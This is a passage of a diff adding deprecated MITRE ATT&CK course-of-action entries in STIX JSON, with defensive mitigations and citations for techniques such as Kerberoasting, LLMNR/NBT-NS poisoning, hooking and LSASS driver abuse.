{ + "source_name": "Wikipedia 802.1x", + "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.", + "url": "https://en.wikipedia.org/wiki/IEEE_802.1X" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--54e8722d-2faf-4b1b-93b6-6cbf9551669f", + "modified": "2019-07-24T19:35:08.161Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Hidden Files and Directories Mitigation", + "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", + "external_references": [ + { + "external_id": "T1158", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1158" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931", + "modified": "2019-07-24T19:35:33.631Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Hidden Users Mitigation", + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "external_references": [ + { + "external_id": "T1147", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1147" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43", + "modified": "2019-07-24T19:36:24.202Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Hidden Window Mitigation", + "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", + "external_references": [ + { + "external_id": "T1143", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1143" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a", + "modified": "2019-07-24T19:36:50.328Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Hooking Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", + "external_references": [ + { + "external_id": "T1179", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1179" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf", + "modified": "2019-07-24T19:37:27.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Hypervisor Mitigation", + "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", + "external_references": [ + { + "external_id": "T1062", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1062" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739", + "modified": "2019-07-24T19:37:57.004Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Image File Execution Options Injection Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.", + "external_references": [ + { + "external_id": "T1183", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1183" + }, + { + "source_name": "Microsoft IFEOorMalware July 2015", + "description": "Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.", + "url": "https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9", + "modified": "2019-07-24T19:39:01.215Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Indicator Blocking Mitigation", + "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", + "external_references": [ + { + "external_id": "T1054", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1054" + }, + { + "source_name": "Microsoft ETW May 2018", + "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ec42d8be-f762-4127-80f4-f079ea6d7135", + "modified": "2019-07-24T19:39:30.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Indicator Removal from Tools Mitigation", + "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1066", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1066" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271", + "modified": "2019-07-24T19:40:00.118Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Indicator Removal on Host Mitigation", + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", + "external_references": [ + { + "external_id": "T1070", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1070" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0", + "modified": "2019-07-24T19:40:27.401Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Indirect Command Execution Mitigation", + "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)", + "external_references": [ + { + "external_id": "T1202", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1202" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "source_name": "SpectorOPs SettingContent-ms Jun 2018", + "description": "Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019.", + "url": "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1e614ba5-2fc5-4464-b512-2ceafb14d76d", + "modified": "2019-07-24T19:40:51.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Inhibit System Recovery Mitigation", + "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1490", + "url": "https://attack.mitre.org/mitigations/T1490" + }, + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T13:54:51.385Z", + "id": "course-of-action--bb25b897-bfc7-4128-839d-52e9764dbfa6", + "modified": "2019-07-24T19:41:58.947Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Input Capture Mitigation", + "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "external_references": [ + { + "external_id": "T1056", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1056" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--da8a87d2-946d-4c34-9a30-709058b98996", + "modified": "2019-07-24T19:42:17.622Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Input Prompt Mitigation", + "description": "This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).", + "external_references": [ + { + "external_id": "T1141", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1141" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", + "modified": "2019-07-24T19:42:41.375Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Install Root Certificate Mitigation", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the Flags value of HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)", + "external_references": [ + { + "external_id": "T1130", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1130" + }, + { + "source_name": "Wikipedia HPKP", + "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.", + "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning" + }, + { + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "source_name": "SpectorOps Code Signing Dec 2017", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c", + "modified": "2019-07-24T19:43:20.432Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "InstallUtil Mitigation", + "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "external_references": [ + { + "external_id": "T1118", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1118" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362", + "modified": "2019-07-24T19:43:58.738Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Kerberoasting Mitigation", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "external_references": [ + { + "external_id": "T1208", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1208" + }, + { + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "url": "https://adsecurity.org/?p=2293" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a3e12b04-8598-4909-8855-2c97c1e7d549", + "modified": "2019-07-24T19:44:28.440Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Kernel Modules and Extensions Mitigation", + "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)", + "external_references": [ + { + "external_id": "T1215", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1215" + }, + { + "source_name": "SourceForge rkhunter", + "description": "Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.", + "url": "http://rkhunter.sourceforge.net" + }, + { + "source_name": "Chkrootkit Main", + "description": "Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.", + "url": "http://www.chkrootkit.org/" + }, + { + "source_name": "Kernel.org Restrict Kernel Module", + "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018.", + "url": "https://patchwork.kernel.org/patch/8754821/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--44155d14-ca75-4fdf-b033-ab3d732e2884", + "modified": "2019-07-24T19:44:56.371Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Keychain Mitigation", + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "external_references": [ + { + "external_id": "T1142", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1142" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a", + "modified": "2019-07-24T19:45:38.627Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "LC_LOAD_DYLIB Addition Mitigation", + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.", + "external_references": [ + { + "external_id": "T1161", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1161" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604", + "modified": "2019-07-24T19:45:55.012Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "LC_MAIN Hijacking Mitigation", + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "external_references": [ + { + "external_id": "T1149", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1149" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b", + "modified": "2019-07-24T19:46:16.474Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "LLMNR/NBT-NS Poisoning Mitigation", + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)", + "external_references": [ + { + "external_id": "T1171", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1171" + }, + { + "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.", + "source_name": "ADSecurity Windows Secure Baseline", + "url": "https://adsecurity.org/?p=3299" + }, + { + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "source_name": "byt3bl33d3r NTLM Relaying", + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html" + }, + { + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "source_name": "Secure Ideas SMB Relay", + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html" + }, + { + "source_name": "Microsoft SMB Packet Signing", + "description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.", + "url": "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22", + "modified": "2019-07-24T19:46:41.947Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "LSASS Driver Mitigation", + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)", + "external_references": [ + { + "external_id": "T1177", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1177" + }, + { + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "source_name": "Microsoft LSA Protection Mar 2014", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + }, + { + "source_name": "Microsoft Enable Cred 